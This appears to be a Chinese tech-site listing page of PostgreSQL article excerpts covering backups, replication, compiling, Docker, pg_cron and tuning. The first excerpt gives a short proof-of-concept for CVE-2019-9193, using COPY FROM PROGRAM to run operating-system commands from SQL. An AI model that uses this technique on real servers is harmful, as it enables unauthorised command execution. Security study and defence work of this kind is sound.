ICode9

精准搜索请尝试: 精确搜索
  • postgresql提权2022-01-28 23:34:14

    (CVE-2019-9193) CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令: drop table if exists cmd_exec; create table cmd_exec(cmd_output text); copy cmd_exec from program 'id'; select * from cmd_exec; dro

  • PostgreSQL数据库登录、备份恢复2022-01-28 17:31:53

    PostgreSQL数据库登录、备份恢复 数据库登录 psql -h '你的ip' -p 5432 -U '用户组' '数据库' 举例: psql -h localhost -p 5432 -U test 2021_12_6 数据库备份恢复命令 psql -h '你的ip' -p 5432 -U '用户组' '要恢复的数据库' -f 'sql文件地址' 举例:

  • postgresql/lightdb prepare、bind、execute与fetch cursor的内核与jdbc驱动实现详解2022-01-28 17:31:24

      preparedstatement将PREPARE,BIND,EXECUTE分开,其好处是避免了重复的语法分析、语义分析与重写,对于复杂SQL来说,其效果更加明显。 In the extended-query protocol, execution of SQL commands is divided into multiple steps. The state retained between steps is represented

  • TDSQL | DTS for PostgreSQL 逻辑复制详解2022-01-28 15:00:01

    逻辑复制概念 逻辑复制是 PG 数据库基于数据对象的复制标志,也就是 Replica Identity 来复制数据对象及数据变化的方法。它最初是在 2014 年 12 月份的 PG9.4.0 引入,称为逻辑解码,后来在 2017 年 10 月 PG10.0 版本中又引入了基于发布订阅的逻辑复制概念。之所以称为逻辑复制是

  • postgresql的编译和调试2022-01-27 11:03:44

    编译安装 下载源码文件包并解压:postgresql-14.1.tar.gz tar xf postgresql-14.1.tar.gz && cd postgresql-14.1 在解压后的目录下执行: ./configure --prefix=$HOME/software/postgresql_bin/ --enable-debug --enable-cassert make -sj 20 make install 启动和创建数据库 cd $HOME

  • PostgreSQL 慢查询SQL跟踪操作及解决方案2022-01-26 09:32:36

    生产案例 随着数据量的增加,数据库cpu占用爆炸,直接100%导致服务崩溃。 原因居然是一个简单的 update 语句。 赶紧定位问题 简单流程如下: 定位问题库 > 读库 or 写库查看连接数。CPU利用率到达100%,首先怀疑,是不是业务高峰活跃连接陡增,而数据库预留的资源不足造成的结果。我们

  • postgresql单机多开2022-01-25 18:35:04

    单机多开也叫多实例: su postgres -c "/usr/pgsql-12/bin/pg_ctl -D 数据目录 start" #还可以stop ,reload 单机多开 postgresql ,只需要创建好不同的目录,给目录分配好权限,修改端口避免冲突,然后分别执行上面的命令启动即可。 下面我们来演示一下: 安装过程可以参考之前的文章: [r

  • 关于使用datagrip连接postgresql不显示数据库问题解决2022-01-25 13:34:18

    配置和驱动都检查了没问题,网上大多数都是关于数据库表不展示的问题,这个只要右击连接源,选择属性,再点击架构选择全部就ok;   ok,再说下数据库不展示的问题,点击测试连接,确实连接上了,ok看下图,也是右击数据源,选择高级,汉化版的写的很明白          就这么解决了,记录一下

  • PostgreSQL数据库插件——定时任务pg_cron2022-01-25 13:04:03

    安装pg_cron cd /opt wget https://github.com.citusdata/pg_cron/archive/v1.2.0.tar.gz tar zxvf v1.2.0.tar.gz cd pg_cron-1.2.0 make PG_CONFIG=/opt/pgsql/bin/pg_config make install PG_CONFIG=/opt/pgsql/bin/pg_config 编辑postgresql.conf vi postgresql.conf sh

  • 按照多字段同时查询数据2022-01-25 12:03:17

    首先根据该sql查询出对于数据    此时需要根据查询出的结果到实时数据表中去按照两个字段的数据去查询,两种解决方法如下: 1、特殊写法(Oracle和PostgreSql可行,mysql未知)    2、Exists的写法  

  • postgresql和mysql对比2022-01-24 18:32:31

    一.PostgreSQL相对于MySQL的优势1、在SQL的标准实现上要比MySQL完善,而且功能实现比较严谨;2、存储过程的功能支持要比MySQL好,具备本地缓存执行计划的能力;3、对表连接支持较完整,优化器的功能较完整,支持的索引类型很多,复杂查询能力较强;4、PG主表采用堆表存放,MySQL采用索引组织表,能够

  • 第二十九章 Centos7下Docker安装Postgresql2022-01-24 15:37:27

    一、拉取Postgresql镜像文件 [root@m1 ~]# docker pull postgres:latest 二、创建挂载目录并授权 [root@m1 ~]# mkdir -p /data/pgdata 三、创建并启动Postgresql容器 [root@m1 ~]# docker run \ -itd \ -p 5432:5432 \ -v /data/pgdata:/var/lib/postgresql/data \ -v /etc/loc

  • Wikijs_VMWare虚拟机安装过程2022-01-23 14:30:17

    由于工作原因,需要搭建一个用于展示文档的页面,无需用户注册,只需要展示即可 而Wikijs是一个好用的文档管理工具,界面美观,且较为轻量。因此计划使用Wikijs的框架进行文档展示页面的搭建 初次安装尝试使用虚拟机VMWare进行安装,过程记录如下 一、 安装前准备工作 进入官网https:/

  • 时序数据库timescaleDB安装2022-01-23 10:00:24

    一:前言相关 环境:Red Hat 8.3.1-5安装程序:PostgreSQL 14.1,TimescaleDB 2.5.1,cmake3.22.1PostgreSQL编译安装需要cmake3.4以上的版本TimescaleDB目前只支持PostgreSQL 9.6.3+,10.9+或11.4+    二、postgresql11部署 1、安装cmake 下载Cmake 安装gcc++ 后,再安装cmake [root@Timesc

  • RadonDB PostgreSQL on K8s 2.1.0 发布!2022-01-21 16:33:25

    RadonDB PostgreSQL Operator 于 1 月 21 日发布了 2.1.0[1]。 致谢: 首先感谢 @zhl003 @zlianzhuang @molliezhang 提交的修改。 什么是 RadonDB PostgreSQL? RadonDB PostgreSQL 是一款基于 PostgreSQL 使用 Operator 实现的数据库容器化项目。 被广泛应用于地理空间和移动领域

  • PostgreSQL 数据库测试2022-01-20 22:03:46

    简介 在本篇博文中我们将介绍PostgreSQL的注入技术。有如下特点: PHP允许多个用法结合使用,在有语句分隔符时 SQL可以通过添加注释字符来截断 limit和offset可以在select语句中使用。 测试 识别PostgreSQL 当发现SQL注入时,要仔细的对后端的数据库进行指纹识别,可以使用::cast 操作

  • PostgreSQL limit的ties子句2022-01-20 20:32:17

    给定如下数据: id name salary 1 Alice 2000 2 Bob 3000 3 Charlie 2000 4 David 2000 5 Eddie 1500 SELECT * FROM employees ORDER BY salary DESC FETCH FIRST 2 ROWS ONLY;  返回前两行数据,如下: id name salary 2 Bob 3000 1 Alice 2000 如

  • postgresql--column must appear in the group by clause or be used in an aggregate function2022-01-20 11:01:02

    我想得到男女当中大于各自性别平均年龄的人 原表: 在gauss200下执行以下语句: SELECT stname,age,gender,AVG(age) FROM att_test01 GROUP BY gender HAVING age > AVG(age);   报错:column att_test01.stname must appear in the group by clause or be used in an aggregate fun

  • Postgresql 或GreenPlum 查询结果部分字段转json格式并保留字段名(row_to_json)2022-01-19 13:00:19

    -- 一些搜索结果给出 部分字段转json保留原字段的方式是用子查询select row_to_json(t) from ( select id, text from words ) t 但是如果子查询 有where条件会导致结果又为{"f1":1,"f2":2,"f3":"foo"}这种格式,比较不便。 【解决方法】 在子查询最后加上limit 99999999999(数字

  • psql数据库学习与使用2022-01-19 10:02:37

    目录 0 psql简介 2.3控制台命令 2.5数据库导入导出 2.6 问题解决 3.API使用 3.0  libpqxx编译 3.2 连接示例 3.3 创建表示例 3.4 增加示例 3.5 选择示例 3.6 修改示例 3.7 删除示例 5.资料参考: 0 psql简介 在数据库术语里,PostgreSQL使用一种客户端/服务器的模型。一次Postgr

  • 工具 | 常用 PostgreSQL 预防数据丢失方案2022-01-18 14:33:51

    作者:张连壮 PostgreSQL 研发负责人 从事多年 PostgreSQL 数据库内核开发,对 Citus 有非常深入的研究。 PostgreSQL 本身不具备数据闪回和数据误删除保护功能,但在不同场景下也有对应的解决方案。 本文由作者在 2021 PCC 大会的演讲主题《PostgreSQL 数据找回》整理而来,上一篇《盘

  • PostgreSQL 系统监控大全2022-01-17 19:32:27

    数据库系统的信息统计、状态监控以及性能优化是 DBA 日常工作中必不可少但复杂而繁琐的一部分,今天给大家介绍一个提供 PostgreSQL 系统可观测性(Observability)的网站:pgstats.dev。 该网站通过一个交互式的图形界面提供了 PostgreSQL 数据库系统的内部组件和功能模块介绍,以及相关

  • postgis_raster 从 2.x 升级至 3.x2022-01-15 21:34:41

    从 PostGIS 3.0 开始,对于栅格数据的支持就从 postgis 扩展中分离了,叫做 postgis_raster. 主要有两个原因: PostGIS 插件的栅格功能很多,有超过 150 多个函数和多个数据类型,对于没用到这些的用户可能会有些迷茫; gdal 库的占体积很大,很多只用 postgis 扩展的开发者希望减少它 虽然分

  • PostgreSQL 10.1 手册2022-01-15 19:07:29

    PostgreSQL 全球开发组 翻译:彭煜玮, 瀚高软件及其他贡献者 版权 © 1996-2017 The PostgreSQL Global Development Group Legal Notice 摘要 《PostgreSQL 10.1手册》基于上一版本的《PostgreSQL9.6.0中文手册》 翻译。翻译工作主要由瀚高软件的韩悦悦完成, 详细请参考PostgreSQ

  • PostgreSQL的存储过程简单入门2022-01-15 19:06:19

    一、存储过程结构:          Create or replace function 过程名(参数名 参数类型,…..) returns 返回值类型 as                    $body$                             //声明变量                  

专注分享技术,共同学习,共同进步。侵权联系[admin#icode9.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有